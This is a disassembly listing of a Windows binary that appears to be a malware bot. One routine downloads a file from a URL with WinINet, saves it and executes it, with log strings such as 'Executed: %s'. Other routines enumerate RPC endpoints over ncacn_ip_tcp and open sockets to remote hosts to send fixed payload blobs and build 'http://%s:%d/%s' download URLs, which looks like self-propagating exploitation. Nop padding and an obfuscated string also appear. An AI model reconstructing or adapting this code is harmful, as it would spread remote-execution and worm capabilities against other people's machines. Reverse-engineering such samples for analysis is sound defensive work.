sub_408395	proc near		; CODE XREF: sub_402FC8+2Dp
					; sub_4049E1+32Ep ...

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	esi
		push	0
		push	ecx
		push	eax
		push	0
		push	0
		call	ds:off_41E080
		test	eax, eax
		mov	[esi+4], eax
		jz	short loc_4083EE
		push	edi
		lea	eax, [ebp+var_4B]
		push	38h
		push	eax
		call	sub_40C634
		mov	eax, [esi]
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		mov	eax, dword_433BC4
		push	eax
		mov	ecx, offset dword_433BC0
		push	ecx
		lea	eax, [ebp+var_50]
		push	eax
		mov	[ebp+var_4C], 0
		mov	[ebp+var_50], esi
		call	sub_408525

loc_4083EE:				; CODE XREF: sub_408395+27j
		push	1
		push	dword ptr [esi+4]
		call	ds:off_41E06C
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		mov	eax, esi
		call	sub_40AB4A
		leave
		retn	4
sub_408395	endp


; =============== S U B	R O U T	I N E =======================================



sub_408409	proc near		; CODE XREF: sub_402833+11Dp
					; .text:0040A2F0p
		push	ebx
		mov	ebx, eax
		push	0
		push	dword ptr [ebx+4]
		call	ds:off_41E0F4
		test	eax, eax
		jz	short loc_408424
		call	sub_408428
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_408424:				; CODE XREF: sub_408409+10j
		xor	al, al
		pop	ebx
		retn
sub_408409	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408428	proc near		; CODE XREF: sub_408409+12p
					; sub_4084BC+5Dp

var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		and	dword ptr [ebx+4], 0
		mov	eax, dword_433BC4
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, offset dword_433BC0
		push	esi
		push	edi
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], eax

loc_408449:				; CODE XREF: sub_408428+4Cj
		mov	eax, dword_433BC4
		lea	edi, [ebp+var_10]
		lea	esi, [ebp+var_8]
		mov	[ebp+var_C], eax
		call	sub_402E50
		test	al, al
		jz	short loc_4084B1
		call	sub_402E02
		mov	ecx, [ebx]
		cmp	ecx, [eax+40h]
		lea	edi, [ebp+var_18]
		jz	short loc_408476
		call	sub_402E22
		jmp	short loc_408449
; ---------------------------------------------------------------------------

loc_408476:				; CODE XREF: sub_408428+45j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		lea	esi, [ebp+var_10]
		mov	[ebp+var_C], eax
		call	sub_402E22
		mov	eax, [eax+4]
		cmp	eax, dword_433BC4
		jz	short loc_4084B1
		mov	ecx, [eax+4]
		mov	edx, [eax]
		mov	[ecx], edx
		mov	ecx, [eax]
		mov	edx, [eax+4]
		push	eax
		mov	[ecx+4], edx
		call	sub_40CB3C
		dec	dword_433BC8
		pop	ecx

loc_4084B1:				; CODE XREF: sub_408428+36j
					; sub_408428+6Bj
		push	ebx
		call	sub_40CB3C
		pop	ecx
		pop	edi
		pop	esi
		leave
		retn
sub_408428	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084BC	proc near		; CODE XREF: sub_401000+3EBp
					; sub_4088D0+239p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 1Ch
		mov	eax, dword_433BC4
		mov	eax, [eax]
		push	ebx
		mov	[esp+20h+var_14], eax
		mov	eax, offset dword_433BC0
		push	esi
		push	edi
		mov	[esp+28h+var_18], eax
		mov	[esp+28h+var_10], eax

loc_4084E0:				; CODE XREF: sub_4084BC+54j
		mov	eax, dword_433BC4
		lea	edi, [esp+28h+var_10]
		lea	esi, [esp+28h+var_18]
		mov	[esp+28h+var_C], eax
		call	sub_402E50
		test	al, al
		jz	short loc_40851E
		call	sub_402E02
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [eax+40h]
		jz	short loc_408512
		lea	edi, [esp+28h+var_8]
		call	sub_402E22
		jmp	short loc_4084E0
; ---------------------------------------------------------------------------

loc_408512:				; CODE XREF: sub_4084BC+49j
		call	sub_402E02
		mov	ebx, [eax]
		call	sub_408428

loc_40851E:				; CODE XREF: sub_4084BC+3Cj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4084BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_408525	proc near		; CODE XREF: sub_408395+54p
		push	48h
		mov	eax, offset loc_41D66F
		call	sub_40E5CD
		push	dword ptr [ebp+8]
		mov	esi, [ebp+10h]
		push	dword ptr [esi+4]
		push	esi
		call	sub_4085B0
		mov	ecx, 3C3C3C3h
		sub	ecx, dword_433BC8
		cmp	ecx, 1
		jnb	short loc_408582
		push	offset aListTTooLong ; "list<T>	too long"
		lea	ecx, [ebp-2Ch]
		call	sub_4021C2
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-54h]
		call	sub_401DA8
		push	offset dword_421F60
		lea	eax, [ebp-54h]
		push	eax
		mov	dword ptr [ebp-54h], offset off_41E31C
		call	sub_40E1BC

loc_408582:				; CODE XREF: sub_408525+29j
		inc	dword_433BC8
		mov	[esi+4], eax
		mov	ecx, [eax+4]
		mov	[ecx], eax
		call	sub_40E66C
		retn	0Ch
sub_408525	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_408598	proc near		; CODE XREF: .text:loc_41D765p
		push	4Ch
		call	loc_40CC1A
		test	eax, eax
		pop	ecx
		jz	short loc_4085A6
		mov	[eax], eax

loc_4085A6:				; CODE XREF: sub_408598+Aj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short locret_4085AF
		mov	[ecx], eax

locret_4085AF:				; CODE XREF: sub_408598+13j
		retn
sub_408598	endp


; =============== S U B	R O U T	I N E =======================================



sub_4085B0	proc near		; CODE XREF: sub_408525+16p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	4Ch
		call	loc_40CC1A
		test	eax, eax
		pop	ecx
		jz	short loc_4085C2
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx

loc_4085C2:				; CODE XREF: sub_4085B0+Aj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4085CF
		mov	edx, [esp+arg_4]
		mov	[ecx], edx

loc_4085CF:				; CODE XREF: sub_4085B0+17j
		push	edi
		lea	edi, [eax+8]
		test	edi, edi
		jz	short loc_4085E2
		push	esi
		mov	esi, [esp+8+arg_8]
		push	11h
		pop	ecx
		rep movsd
		pop	esi

loc_4085E2:				; CODE XREF: sub_4085B0+25j
		pop	edi
		retn	0Ch
sub_4085B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4085E6	proc near		; CODE XREF: sub_4049E1+3B1p
					; sub_4049E1+3C0p
		push	334h
		mov	eax, offset loc_41D720
		call	sub_40E636
		push	327h
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	eax
		mov	esi, ecx
		mov	edi, edx
		call	sub_40C6F0
		lea	eax, [ebp-338h]
		add	esp, 0Ch
		push	eax
		call	sub_40C500
		mov	[ebp+eax-338h],	bl
		pop	ecx
		lea	eax, [ebp-238h]
		push	eax
		call	sub_40C500
		pop	ecx
		push	esi
		mov	[ebp+eax-238h],	bl
		mov	esi, 0FFh
		lea	eax, [ebp-215h]
		push	esi
		push	eax
		call	sub_40C634
		lea	eax, [ebp-215h]
		add	esp, 0Ch
		push	eax
		call	sub_40C500
		pop	ecx
		push	edi
		mov	[ebp+eax-215h],	bl
		lea	eax, [ebp-115h]
		push	esi
		push	eax
		call	sub_40C634
		lea	eax, [ebp-115h]
		add	esp, 0Ch
		push	eax
		call	sub_40C500
		mov	[ebp+eax-115h],	bl
		pop	ecx
		push	8
		mov	byte ptr [ebp-12h], 1
		mov	byte ptr [ebp-13h], 1
		mov	byte ptr [ebp-15h], 1
		mov	[ebp-14h], bl
		call	loc_40CC1A
		mov	esi, eax
		pop	ecx
		mov	[ebp-33Ch], esi
		cmp	esi, ebx
		mov	[ebp-4], ebx
		jz	short loc_4086C2
		push	offset sub_4088D0
		lea	ecx, [ebp-338h]
		mov	edi, offset byte_4202A1
		call	sub_408395

loc_4086C2:				; CODE XREF: sub_4085E6+C5j
		call	sub_40E680
		retn
sub_4085E6	endp

; ---------------------------------------------------------------------------
		push	4B4h
		mov	eax, offset loc_41D6EB
		call	sub_40E636
		cmp	dword ptr [ebp+1Ch], 3
		mov	eax, [ebp+10h]
		mov	edi, [ebp+20h]
		mov	[ebp-4C0h], eax
		mov	eax, [ebp+18h]
		mov	[ebp-4BCh], eax
		jl	loc_4088C8
		mov	esi, 0BFh
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-0CFh]
		push	ebx
		push	eax
		mov	[ebp-0D0h], bl
		call	sub_40C6F0
		push	esi
		lea	eax, [ebp-18Fh]
		push	ebx
		push	eax
		mov	[ebp-190h], bl
		call	sub_40C6F0
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [edi+4]
		call	sub_402E6D
		push	0C0h
		lea	esi, [ebp-190h]
		mov	ebx, offset aLzLGjEkaaLBKLJ ; "ÖÑ«§Ð«Ó£¦ÐÔ¥ª  ×Ð׫×Сת׫ÔѦס×Ц¤ªÔª¥"...
		call	sub_401ACE
		add	esp, 24h
		cmp	byte ptr [ebp+8], 0
		jz	short loc_40875F
		cmp	byte_425152, 0
		jz	loc_4088A2

loc_40875F:				; CODE XREF: .text:00408750j
		lea	eax, [ebp-190h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_408887
		push	327h
		push	eax
		lea	eax, [ebp-4B8h]
		push	eax
		call	sub_40C6F0
		push	dword ptr [ebp-4BCh]
		mov	esi, offset aS	; "%s"
		push	esi
		mov	ebx, 0FFh
		lea	eax, [ebp-4B8h]
		push	ebx
		push	eax
		call	sub_40C634
		lea	eax, [ebp-4B8h]
		push	eax
		call	sub_40C500
		push	dword ptr [ebp-4C0h]
		mov	byte ptr [ebp+eax-4B8h], 0
		push	esi
		lea	eax, [ebp-3B8h]
		push	22h
		push	eax
		call	sub_40C634
		lea	eax, [ebp-3B8h]
		push	eax
		call	sub_40C500
		push	dword ptr [edi+8]
		mov	byte ptr [ebp+eax-3B8h], 0
		push	esi
		lea	eax, [ebp-395h]
		push	ebx
		push	eax
		call	sub_40C634
		lea	eax, [ebp-395h]
		add	esp, 44h
		push	eax
		call	sub_40C500
		push	dword ptr [edi+0Ch]
		mov	byte ptr [ebp+eax-395h], 0
		push	esi
		lea	eax, [ebp-295h]
		push	ebx
		push	eax
		call	sub_40C634
		lea	eax, [ebp-295h]
		push	eax
		call	sub_40C500
		mov	byte ptr [ebp+eax-295h], 0
		mov	al, [ebp+8]
		mov	[ebp-192h], al
		mov	al, [ebp+0Ch]
		push	8
		mov	[ebp-193h], al
		mov	byte ptr [ebp-195h], 1
		mov	byte ptr [ebp-194h], 1
		call	loc_40CC1A
		add	esp, 1Ch
		mov	[ebp-4C0h], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_4088A2
		push	offset sub_4088D0
		lea	ecx, [ebp-4B8h]
		mov	edi, offset byte_4202A1
		mov	esi, eax
		call	sub_408395
		jmp	short loc_4088A2
; ---------------------------------------------------------------------------

loc_408887:				; CODE XREF: .text:00408776j
		push	offset aAd	; "AD"
		push	dword ptr [ebp-4BCh]
		push	dword ptr [ebp+0Ch]
		push	offset dword_426A3C
		call	sub_403DB4
		add	esp, 10h

loc_4088A2:				; CODE XREF: .text:00408759j
					; .text:0040886Cj ...
		mov	esi, 0C0h
		push	esi
		lea	eax, [ebp-0D0h]
		push	0
		push	eax
		call	sub_40C6F0
		push	esi
		lea	eax, [ebp-190h]
		push	0
		push	eax
		call	sub_40C6F0
		add	esp, 18h

loc_4088C8:				; CODE XREF: .text:004086F0j
		call	sub_40E680
		retn	1Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088D0	proc near		; DATA XREF: sub_4085E6+C7o
					; .text:0040886Eo

var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_73C		= byte ptr -73Ch
var_738		= byte ptr -738h
var_638		= byte ptr -638h
var_615		= byte ptr -615h
var_515		= byte ptr -515h
var_415		= byte ptr -415h
var_414		= byte ptr -414h
var_413		= dword	ptr -413h
var_408		= byte ptr -408h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 754h
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+754h+var_4], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	ecx, 0C9h
		lea	edi, [esp+760h+var_738]
		rep movsd
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		movsw
		push	ebx
		push	offset aMozilla5_0 ; "Mozilla/5.0"
		movsb
		call	ds:dword_41E22C	; InternetOpenA
		mov	esi, eax
		lea	eax, [esp+760h+var_515]
		push	eax
		lea	eax, [esp+764h+var_615]
		push	eax
		push	offset aDlDownloadingS ; "DL: Downloading %s to	%s"
		lea	eax, [esp+76Ch+var_738]
		push	eax
		push	[esp+770h+var_413]
		mov	edi, offset dword_426A3C
		push	edi
		call	sub_403DB4
		add	esp, 18h
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [esp+770h+var_615]
		push	eax
		push	esi
		call	ds:dword_41E228	; InternetOpenUrlA
		cmp	esi, ebx
		mov	[esp+760h+var_744], eax
		jz	loc_408B02
		cmp	eax, ebx
		jz	loc_408AE8
		push	ebx
		push	ebx
		push	2
		push	ebx
		push	ebx
		push	40000000h
		lea	eax, [esp+778h+var_515]
		push	eax
		call	ds:off_41E05C
		mov	[esp+760h+var_748], eax
		call	ds:dword_41E0EC	; GetTickCount
		mov	[esp+760h+var_740], eax
		mov	[esp+760h+var_750], ebx
		mov	esi, 400h

loc_408997:				; CODE XREF: sub_4088D0+11Fj
		push	esi
		lea	eax, [esp+764h+var_408]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		lea	eax, [esp+760h+var_74C]
		push	eax
		push	esi
		lea	eax, [esp+768h+var_408]
		push	eax
		push	[esp+76Ch+var_744]
		call	ds:dword_41E224	; InternetReadFile
		push	ebx
		lea	eax, [esp+764h+var_73C]
		push	eax
		push	[esp+768h+var_74C]
		lea	eax, [esp+76Ch+var_408]
		push	eax
		push	[esp+770h+var_748]
		call	ds:off_41E078
		test	eax, eax
		jz	loc_408A9A
		mov	eax, [esp+760h+var_74C]
		add	[esp+760h+var_750], eax
		cmp	eax, ebx
		ja	short loc_408997
		call	ds:dword_41E0EC	; GetTickCount
		sub	eax, [esp+760h+var_740]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ecx, eax
		cmp	ecx, ebx
		jnz	short loc_408A0D
		xor	ecx, ecx
		inc	ecx

loc_408A0D:				; CODE XREF: sub_4088D0+138j
		mov	eax, [esp+760h+var_750]
		xor	edx, edx
		div	ecx
		shr	eax, 0Ah
		push	eax
		push	ecx
		push	[esp+768h+var_750]
		lea	eax, [esp+76Ch+var_515]
		push	eax
		push	offset aDownloadSIByte ; "Download %s (%i Bytes) finished in %i	s"...
		lea	eax, [esp+774h+var_738]
		push	eax
		push	[esp+778h+var_413]
		push	edi
		call	sub_403DB4
		add	esp, 20h
		push	[esp+760h+var_748]
		call	ds:dword_41E0C4	; CloseHandle
		cmp	[esp+760h+var_415], 1
		jnz	loc_408B02
		cmp	[esp+760h+var_414], bl
		lea	eax, [esp+760h+var_515]
		jz	short loc_408AA8
		push	eax
		call	sub_402632
		test	al, al
		pop	ecx
		lea	eax, [esp+760h+var_738]
		jz	short loc_408AA1
		push	offset aUninstalling ; "Uninstalling"
		push	eax
		push	[esp+768h+var_413]
		push	edi
		call	sub_403DB4
		add	esp, 10h
		lea	eax, [esp+760h+var_638]
		push	eax
		call	sub_402833

loc_408A9A:				; CODE XREF: sub_4088D0+10Fj
		push	offset aFailedBadLocat ; "Failed; Bad Location."
		jmp	short loc_408AED
; ---------------------------------------------------------------------------

loc_408AA1:				; CODE XREF: sub_4088D0+1A5j
		push	offset aFailedUpdate ; "Failed Update"
		jmp	short loc_408AF1
; ---------------------------------------------------------------------------

loc_408AA8:				; CODE XREF: sub_4088D0+196j
		push	5
		push	ebx
		push	ebx
		push	eax
		push	offset byte_4202A1
		push	ebx
		call	ds:dword_41E1F4
		test	eax, eax
		jnz	short loc_408AC4
		push	offset aErrorExecuting ; "Error	Executing"
		jmp	short loc_408AED
; ---------------------------------------------------------------------------

loc_408AC4:				; CODE XREF: sub_4088D0+1EBj
		lea	eax, [esp+760h+var_515]
		push	eax
		push	offset aExecutedS ; "Executed: %s"
		lea	eax, [esp+768h+var_738]
		push	eax
		push	[esp+76Ch+var_413]
		push	edi
		call	sub_403DB4
		add	esp, 14h
		jmp	short loc_408B02
; ---------------------------------------------------------------------------

loc_408AE8:				; CODE XREF: sub_4088D0+91j
		push	offset aBadUrl	; "Bad URL"

loc_408AED:				; CODE XREF: sub_4088D0+1CFj
					; sub_4088D0+1F2j
		lea	eax, [esp+764h+var_738]

loc_408AF1:				; CODE XREF: sub_4088D0+1D6j
		push	eax
		push	[esp+768h+var_413]
		push	edi
		call	sub_403DB4
		add	esp, 10h

loc_408B02:				; CODE XREF: sub_4088D0+89j
					; sub_4088D0+182j ...
		call	ds:dword_41E0C8	; GetCurrentThreadId
		push	eax
		call	sub_4084BC
		pop	ecx
		mov	ecx, [esp+760h+var_4]
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		xor	eax, eax
		call	sub_40AB4A
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4088D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B28	proc near		; CODE XREF: sub_408CC5+F0p

var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_18		= byte ptr -18h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		xor	edi, edi
		lea	ecx, [ebp+var_30]
		push	ecx
		push	edi
		push	edi
		push	eax
		push	offset aNcacn_ip_tcp ; "ncacn_ip_tcp"
		push	edi
		mov	[ebp+var_34], edi
		mov	[ebp+var_38], edi
		mov	[ebp+var_30], edi
		call	ds:dword_41E1D4
		test	eax, eax
		jnz	short loc_408BA3
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+var_30]
		call	ds:dword_41E1DC
		test	eax, eax
		jz	short loc_408BB4
		lea	eax, [ebp+var_30]
		push	eax
		call	ds:dword_41E1E0

loc_408BA3:				; CODE XREF: sub_408B28+5Ej
					; sub_408B28+DDj ...
		xor	eax, eax

loc_408BA5:				; CODE XREF: sub_408B28+198j
		mov	ecx, [ebp+var_8]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
; ---------------------------------------------------------------------------

loc_408BB4:				; CODE XREF: sub_408B28+6Fj
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		lea	eax, [ebp+var_40]
		push	eax
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+var_3C]
		call	ds:dword_41E1E4
		test	eax, eax
		jz	short loc_408C07
		lea	eax, [ebp+var_30]
		push	eax
		call	ds:dword_41E1E0
		lea	eax, [ebp+var_3C]
		push	eax
		call	ds:dword_41E1D8
		jmp	short loc_408BA3
; ---------------------------------------------------------------------------

loc_408C07:				; CODE XREF: sub_408B28+C7j
		mov	ebx, ds:dword_41E1E0

loc_408C0D:				; CODE XREF: sub_408B28+114j
					; sub_408B28+125j ...
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	[ebp+var_40]
		call	ds:dword_41E1E8
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_408C6E
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	ds:dword_41E1EC
		test	eax, eax
		jnz	short loc_408C0D
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_44]
		call	ds:dword_41E1D0
		test	eax, eax
		jnz	short loc_408C0D
		push	offset a50abc2a4574d40 ; "50abc2a4-574d-40b3-9d66-ee4fd5fba076"
		push	[ebp+var_38]
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_408C7B
		lea	eax, [ebp+var_38]
		push	eax
		call	ebx
		lea	eax, [ebp+var_34]
		push	eax
		call	ebx

loc_408C6E:				; CODE XREF: sub_408B28+102j
		cmp	esi, 6ECh
		jnz	short loc_408C0D
		jmp	loc_408BA3
; ---------------------------------------------------------------------------

loc_408C7B:				; CODE XREF: sub_408B28+138j
		mov	esi, offset asc_42046C ; "["
		push	esi
		push	[ebp+var_34]
		call	sub_40D75E
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408BA3
		push	esi
		push	edi
		call	sub_40D75E
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	loc_408BA3
		push	offset asc_420EF8 ; "]"
		push	eax
		call	sub_40D75E
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	loc_408BA3
		push	eax
		call	sub_40DE3D
		pop	ecx
		jmp	loc_408BA5
sub_408B28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408CC5	proc near		; CODE XREF: sub_40A506+227p
					; sub_40A506+330p ...

var_10		= dword	ptr -10h
arg_0		= word ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h
arg_14		= byte ptr  1Ch
arg_114		= dword	ptr  11Ch
arg_118		= dword	ptr  120h
arg_120		= dword	ptr  128h
arg_124		= dword	ptr  12Ch
arg_128		= dword	ptr  130h
arg_12C		= byte ptr  134h
arg_12D		= byte ptr  135h
arg_13C		= byte ptr  144h
arg_13D		= byte ptr  145h
arg_23C		= byte ptr  244h
arg_23D		= byte ptr  245h
arg_33C		= byte ptr  344h
arg_33F		= byte ptr  347h
arg_4B4		= byte ptr  4BCh
arg_4B7		= byte ptr  4BFh
arg_62C		= byte ptr  634h
arg_A1A		= byte ptr  0A22h
arg_A22		= byte ptr  0A2Ah
arg_B42		= byte ptr  0B4Ah
arg_B54		= byte ptr  0B5Ch
arg_E2C		= byte ptr  0E34h
arg_1E30	= dword	ptr  1E38h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		mov	eax, 1E3Ch
		call	sub_41AF10
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+arg_1E30],	eax
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	ecx
		xor	eax, eax
		lea	esi, [ebp+arg_0]
		lea	edi, [esp+0Ch+arg_14]
		rep movsd
		mov	[esp+0Ch+arg_12C], 0
		lea	edi, [esp+0Ch+arg_12D]
		stosd
		stosd
		stosd
		stosw
		mov	esi, 0FFh
		push	esi
		stosb
		lea	eax, [esp+10h+arg_23D]
		push	0
		push	eax
		mov	[esp+18h+arg_23C], 0
		call	sub_40C6F0
		add	esp, 0Ch
		push	esi
		lea	eax, [esp+10h+arg_13D]
		push	0
		push	eax
		mov	[esp+18h+arg_13C], 0
		call	sub_40C6F0
		mov	eax, ds:dword_420EFC
		add	esp, 0Ch
		mov	[esp+0Ch+arg_124], eax
		mov	eax, ds:dword_420F00
		mov	esi, offset dword_420F04
		lea	edi, [esp+0Ch+arg_33C]
		mov	ebx, 16Fh
		movsw
		push	ebx
		mov	[esp+10h+arg_128], eax
		lea	eax, [esp+10h+arg_33F]
		push	0
		push	eax
		movsb
		call	sub_40C6F0
		add	esp, 0Ch
		mov	esi, offset dword_420F04
		lea	edi, [esp+0Ch+arg_4B4]
		movsw
		push	ebx
		lea	eax, [esp+10h+arg_4B7]
		push	0
		push	eax
		movsb
		call	sub_40C6F0
		add	esp, 0Ch
		push	[esp+0Ch+arg_118]
		call	ds:dword_41E274	; inet_ntoa
		mov	esi, eax
		push	esi
		call	sub_408B28
		test	eax, eax
		pop	ecx
		jnz	short loc_408DC4
		mov	eax, 401h

loc_408DC4:				; CODE XREF: sub_408CC5+F8j
		push	[esp+8+arg_120]
		mov	[esp+0Ch+arg_8], 2
		mov	[esp+0Ch+arg_C], eax
		call	ds:dword_41E238	; htons
		push	esi
		mov	word ptr [esp+10h+arg_4+2], ax
		call	sub_4023EB
		and	dword ptr [esp+14h], 0
		pop	ecx
		mov	byte ptr [esp+0Fh], 1
		mov	dword ptr [esp+0Ch+arg_0], 1

loc_408DFA:				; CODE XREF: sub_408CC5+39Bj
		push	6
		push	1
		push	2
		call	ds:dword_41E240	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_40908F
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		push	10h
		lea	eax, [esp+10h+arg_4]
		push	eax
		push	edi
		call	ds:dword_41E258	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_409093
		push	0
		push	48h
		push	offset dword_4248A0
		push	edi
		call	ds:dword_41E248	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_409093
		push	0
		push	1000h
		lea	eax, [esp+14h+arg_E2C]
		push	eax
		push	edi
		call	ds:dword_41E23C	; recv
		test	eax, eax
		jle	loc_409093
		cmp	byte ptr [esp+0Ch+arg_120+1], 0
		jz	short loc_408EB3
		call	sub_402C36
		test	al, al
		jz	short loc_408EB3
		push	100h
		lea	esi, [esp+10h+arg_13C]
		mov	ebx, offset dword_4254B0
		call	sub_401ACE
		pop	ecx
		jmp	short loc_408F1E
; ---------------------------------------------------------------------------

loc_408EB3:				; CODE XREF: sub_408CC5+1CAj
					; sub_408CC5+1D3j
		push	dword_426A3C
		lea	esi, [esp+10h+arg_12C]
		call	sub_402A2D
		lea	esi, [esp+10h+arg_23C]
		mov	ebx, offset byte_425089
		mov	[esp+10h+var_10], 100h
		call	sub_401ACE
		pop	ecx
		mov	eax, esi
		push	eax
		push	dword_426614
		lea	eax, [esp+14h+arg_12C]
		push	eax
		push	offset aHttpSDS	; "http://%s:%d/%s"
		lea	eax, [esp+1Ch+arg_13C]
		push	0FFh
		push	eax
		call	sub_40C634
		lea	eax, [esp+24h+arg_13C]
		push	eax
		call	sub_40C500
		mov	[esp+eax+28h+arg_13C], 0
		add	esp, 1Ch

loc_408F1E:				; CODE XREF: sub_408CC5+1ECj
		lea	eax, [esp+0Ch+arg_13C]
		push	eax
		lea	eax, [esp+10h+arg_33C]
		call	sub_407D18
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		jz	loc_40908F
		lea	eax, [esp+0Ch+arg_124]
		push	eax
		push	ebx
		lea	eax, [esp+14h+arg_33C]
		push	eax
		push	2
		lea	esi, [esp+1Ch+arg_4B4]
		call	sub_407D75
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F86
		lea	eax, [esp+0Ch+arg_124]
		push	eax
		push	ebx
		lea	eax, [esp+14h+arg_33C]
		push	eax
		push	2
		call	sub_407D75
		add	esp, 10h
		test	eax, eax
		jz	loc_40908F

loc_408F86:				; CODE XREF: sub_408CC5+29Cj
		mov	esi, 800h
		push	esi
		lea	eax, [esp+10h+arg_62C]
		push	5Ch
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	4Ch
		lea	eax, [esp+10h+arg_62C]
		push	offset dword_4248F0
		push	eax
		call	sub_40D820
		add	esp, 0Ch
		cmp	dword ptr [esp+0Ch+arg_0], 1
		push	8
		lea	eax, [esp+10h+arg_A1A]
		jnz	short loc_408FCC
		push	offset aLSW	; "\\)\\L\\á\\w"
